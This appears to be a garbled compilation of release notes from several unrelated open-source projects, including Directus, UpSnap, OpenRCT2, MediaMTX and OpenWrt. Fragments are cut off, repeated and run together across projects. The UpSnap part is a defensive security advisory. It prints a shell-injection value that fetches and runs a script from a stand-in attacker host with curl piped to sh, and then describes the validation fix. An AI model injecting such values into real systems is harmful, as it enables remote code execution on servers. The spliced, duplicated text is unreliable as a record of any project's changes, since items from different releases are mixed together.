Forwarded theme tokens and i18n strings from Studio to the visual-editing iframe @formfcw (#27469 by @formfcw)
Refactored focus ring from border/box-shadow to outline @formfcw (#27437 by @formfcw)
Introduced VersionChip component @formfcw (#27437 by @formfcw)
Updated theme preview component to match the new design @formfcw (#27437 by @formfcw)
Updated collab avatar indicator design @formfcw (#27437 by @formfcw)
Refactored drawer header layout and simplified v-drawer API @formfcw (#27437 by @formfcw)
:::notice
v-breadcrumb component has been deprecated. Extensions using <v-breadcrumb> keep rendering but will see a deprecation hint from Volar.v-drawer, the subtitle prop (use the title prop instead), the subtitle slot, the header:append slot, and the actions:append slot have been deprecated. Existing usage keeps rendering — actions:append content lands in the secondary-actions zone, and for primary CTAs in the drawer header use the new actions:primary slot. Consumers will see deprecation hints from Volar.header.headline.foreground and header.headline.fontFamily have been removed. Custom themes overriding these properties should remove them. The corresponding CSS variables --theme--header--headline--foreground and --theme--header--headline--font-family no longer exist.:::
Updated header bar elements and deprecated the headline slot @formfcw (#27437 by @formfcw)
Ensured to switch to the draft version when visually editing an item of a versioned collection @formfcw (#27595 by @formfcw)
Extracted reusable ModuleBarButton component @formfcw (#27437 by @formfcw)
Moved client-validation to promote version workflow instead of save version @alvarosabu (#27397 by @formfcw)
Added Create New action to publish split menu with shortcut @alvarosabu (#27425 by @alvarosabu)
MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)version query parameter in collections @Nitwel (#27397 by @formfcw)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)version query parameter in collections @Nitwel (#27397 by @formfcw)MCP_OAUTH_ENABLED=true. Dynamic and client ID metadata registration were kept separately opt-in with MCP_OAUTH_DCR_ENABLED=true and MCP_OAUTH_CIMD_ENABLED=true. (#27069 by @hanneskuettner)DIRECTUS_DOMAIN constant and replaced hardcoded directus.io to directus.com using the new constant (#27417 by @ComfortablyCoding)vue-tsc to 3.1.8 (#27437 by @formfcw)$t: keys on sub-field labels, and added a "Field Name Translations" section to the sub-field configuration UI (#27374 by @khanahmad4527)SECRET is missing. (#27406 by @rijkvanzanten)DIRECTUS_DOMAIN constant and replaced hardcoded directus.io to directus.com using the new constant (#27417 by @ComfortablyCoding)@directus/app@16.0.0-rc.0@directus/api@36.0.0-rc.0@directus/ai@1.3.2-rc.0@directus/composables@11.5.0-rc.0@directus/constants@14.4.0-rc.0create-directus-extension@12.0.0-rc.0create-directus-project@13.0.0-rc.0@directus/env@6.0.0-rc.0@directus/errors@2.4.0-rc.0@directus/extensions@4.0.0-rc.0@directus/extensions-registry@4.0.0-rc.0@directus/extensions-sdk@18.0.0-rc.0@directus/format-title@13.0.0-rc.0@directus/memory@4.0.0-rc.0@directus/pressure@4.0.0-rc.0@directus/release-notes-generator@3.0.0-rc.0@directus/schema@14.0.0-rc.0@directus/schema-builder@1.0.0-rc.0@directus/specs@14.0.0-rc.0@directus/storage@13.0.0-rc.0@directus/storage-driver-azure@13.0.0-rc.0@directus/storage-driver-cloudinary@13.0.0-rc.0@directus/storage-driver-gcs@13.0.0-rc.0@directus/storage-driver-local@13.0.0-rc.0@directus/storage-driver-s3@13.0.0-rc.0@directus/storage-driver-supabase@4.0.0-rc.0@directus/stores@3.0.0-rc.0@directus/system-data@4.5.0-rc.0@directus/themes@2.0.0-rc.0@directus/types@16.0.0-rc.0@directus/update-check@14.0.0-rc.0@directus/utils@13.5.0-rc.0@directus/validation@3.0.0-rc.0@directus/visual-editing@2.1.0-rc.0@directus/sdk@22.0.0-rc.0
Docker images have been built and pushed:
Docker Hub:
alexta69/metube:latestalexta69/metube:2026.05.29GitHub Container Registry:
ghcr.io/alexta69/metube:latestghcr.io/alexta69/metube:2026.05.29
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
spamtest in trusted Sieve scripts.TXT records when updating RRSet.Keep-Alive is enabled.
Windows Installer
Windows No Installer (zip)
macOS - Universal
Linux - deb, AppImage or rpm
Windows intel x32 releases are marked -ia32-
ChangeLog:
Note
If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.
The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.
The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.
Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.
In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.
By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.
Note
If you have sucessfully completed the initial setup in the past you are not affected.
UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.
In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:
IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id
When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.
Backend: Before substituting {{ DEVICE_IP }} and {{ DEVICE_MAC }} into any shell command, UpSnap additionally validates both values using Go's standard net.ParseIP and net.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing.
Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$ for IP, ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$ for MAC). Any write that bypasses the UI is rejected at the database level.
HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.
Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
orcpt.$ or { prefixes as secure secrets.acl-principal-prop-set REPORT enforced the wrong privilege.Thread/get did not filter by per-mailbox ACLs on shared accounts.UID FETCH N:* could miss messages moved into a SELECTed mailbox by another connection.v=spf1 a -all records for apex domains.TXT records when they exceed 255 characters.defaultCertificateId when renewing a certificate that is currently set as default.DNS-01 authorizations sequentially to avoid race conditions in some DNS providers.replace action adds an extra From header.
Release created in https://github.com/OpenRCT2/OpenRCT2/actions/runs/25987971355
SHA256 checksums:
61cd955dc5820787de844f7b523d56ff5329a908961c4fc48ce4a84584730fb7 ./OpenRCT2-v0.5.1-windows-installer-arm64.exe
4614029327c61247000d1a6a7a249b1e5fe93dfc841ad164e2905196b72aa098 ./OpenRCT2-v0.5.1-windows-portable-x64.zip
5681e8a7d6cf409381c35e6035a91638e39027757f77c5437957b3a9ab478444 ./OpenRCT2-v0.5.1-windows-symbols-arm64.zip
11a7accb196d9dd71e4b76ac50965841f9a0f1ad89866cd2b07a62c9e0ee218e ./OpenRCT2-v0.5.1-sha256sums.txt
16232c44ca0890b07679a7e37ad0e683e17826f61868ad6363f2fc192fd6f2fa ./OpenRCT2-v0.5.1-windows-symbols-win32.zip
287a8fa5944b71d41c5a0e77750a6f734eaeb27d9686420d585088d176e3c0b7 ./OpenRCT2-v0.5.1-android.apk
bebe142a2f0148d82c2a941f8d06fd5c12540c59479b8f26d170944ebce44475 ./OpenRCT2-v0.5.1-Linux-resolute-x86_64.tar.gz
91729c3804e165ab1dd1ca0875554970fc013aa8368fe2e41e3894f718eb83ca ./OpenRCT2-v0.5.1-windows-portable-arm64.zip
dfecc57d87b18ffb78780cac233bebe2eaa8ff1de7e915bfcdfe00e08dd02f2f ./OpenRCT2-v0.5.1-macos-universal.zip
a4e6450ec12db77fb4663afa1a393bb0d03a46e9c47b1d4b29a603cc8145b512 ./OpenRCT2-v0.5.1-linux-x86_64.AppImage
fdd1846a2f21062f5716204b8de9626892b87c95c6ebbb2f7385e49a150092d0 ./OpenRCT2-v0.5.1-windows-installer-win32.exe
8d0e1dc4fa2ed5ecc76fcaafdec8a198048a953cce90314590961dda53a04da2 ./OpenRCT2-v0.5.1-windows-symbols-x64.zip
6ba42ab9ffcd21ea10eb27880e6ed51bad1663e7e235203db2c4fc4bf73200c5 ./OpenRCT2-v0.5.1-windows-installer-x64.exe
226840077ff14851bc817ddb80bc8b0cf432f141481516e66bf5e05339143195 ./OpenRCT2-v0.5.1-Linux-trixie-x86_64.tar.gz
0976a7d610fa94f6a298133d0293d60f007d92d0cd7f2c971776636a27e2ac3c ./OpenRCT2-v0.5.1-windows-portable-win32.zip
a53e5a6ec08f792bcc488a04d465d4eb27bf87e25311e644700b14ea79be33d1 ./OpenRCT2-v0.5.1-Linux-noble-x86_64.tar.gz
05ed8d31e04c1f9cd17d5998442d12e4050a56b7f8225f3e5b66478408bad2cd ./OpenRCT2-v0.5.1-Linux-bookworm-x86_64.tar.gz
Windows Installer
Windows No Installer (zip)
macOS - Universal
Linux - deb, AppImage or rpm
Windows intel x32 releases are marked -ia32-
ChangeLog:
RTSP
RTMP
HLS
WebRTC
RPI Camera
Dependencies
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
Note
If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.
The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.
Hi,
The OpenWrt community is proud to announce the fourth service release of the OpenWrt 25.12 stable series.
Download firmware images using the OpenWrt Firmware Selector:
Download firmware images directly from our download servers:
Only the main changes are listed below. See the full changelog for details.
--dhcp-script).extract_addresses() on crafted resource records.kmod-ipsec / esp4/esp6 loaded. Fixed via the 6.12.87 kernel update.New devices supported in 25.12.4:
Device fixes:
tiny target to free ~800 KiB of flashbasic_rate mapping in the wpa_supplicant ucode generatorUpgrading from 24.10 to 25.12 should be transparent on most devices, as most configuration data has either remained the same or will be translated correctly on first boot by the package init scripts.
For upgrades within the OpenWrt 25.12 stable series, Attended Sysupgrade is also supported, which allows preserving the installed packages.
Sysupgrade from 23.05 or earlier to 25.12 is not officially supported.
Cron log level was fixed in busybox. system.@system[0].cronloglevel should be set to 7 for normal logging. 7 is the default now. If this option is not set, the default is used and no manual action is needed. fc0c518
Bananapi BPI-R4: Interface eth1 was renamed to sfp-lan or lan4, and interface eth2 was renamed to sfp-wan to match the labels. You have to upgrade without saving the configuration. cd8dcfe
TP-Link RE355 v1, RE450 v1 and RE450 v2: The partition layout and block size changed in this release to fix configuration loss on sysupgrade. Users upgrading from OpenWrt 25.12.0 or earlier must use sysupgrade -F to force the upgrade. The image must not exceed 5.875 MB (6016 KiB).
Meraki MX60: Direct sysupgrade to 25.12.4 is not possible without manual preparation — meraki_loadaddr must be changed before upgrading, as the default value is insufficient to boot OpenWrt 25.12+. See the device wiki page for instructions.
eth1 to wan — check and update your network configuration after upgrading.cake_mq): throughput may be unexpectedly low on some configurations after the scheduler fixes in this release. #22344Full release notes and upgrade instructions are available at
https://openwrt.org/releases/25.12/notes-25.12.4
In particular, make sure to read the known issues before upgrading:
https://openwrt.org/releases/25.12/notes-25.12.4#known_issues
For a detailed list of all changes, refer to
https://openwrt.org/releases/25.12/changelog-25.12.4
To download the 25.12.4 images, navigate to:
https://downloads.openwrt.org/releases/25.12.4/targets/
Use OpenWrt Firmware Selector to download:
https://firmware-selector.openwrt.org?version=25.12.4
As always, a big thank you goes to all our active package maintainers, testers, documenters and supporters.
Have fun!
The OpenWrt Community
To stay informed of new OpenWrt releases and security advisories, there
are new channels available:
a low-volume mailing list for important announcements:
https://lists.openwrt.org/mailman/listinfo/openwrt-announce
a dedicated "announcements" section in the forum:
https://forum.openwrt.org/c/announcements/14
other announcement channels (such as RSS feeds) might be added in the
future, they will be listed at https://openwrt.org/contact
Windows Installer
Windows No Installer (zip)
macOS - Universal
Linux - deb, AppImage or rpm
Windows intel x32 releases are marked -ia32-
ChangeLog:
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
is_ip_in_cidr expression function for CIDR matching.mail-auth to 0.9 (which bumps hickory-resolver to 0.26).hickory.null values fails.Failed instead of Error when the query returns no results.EAFNOSUPPORT error..well-known endpoints.RCPT before rewriting.dns-update crate):
MX and SRV records.subname for apex records instead of @, which the API rejects.TXT record content in double quotes (RFC 1035) to suppress dashboard warnings.calcard crate):
STATUS:CANCELLED mapping from VTODO to JSCalendar.PT0S.
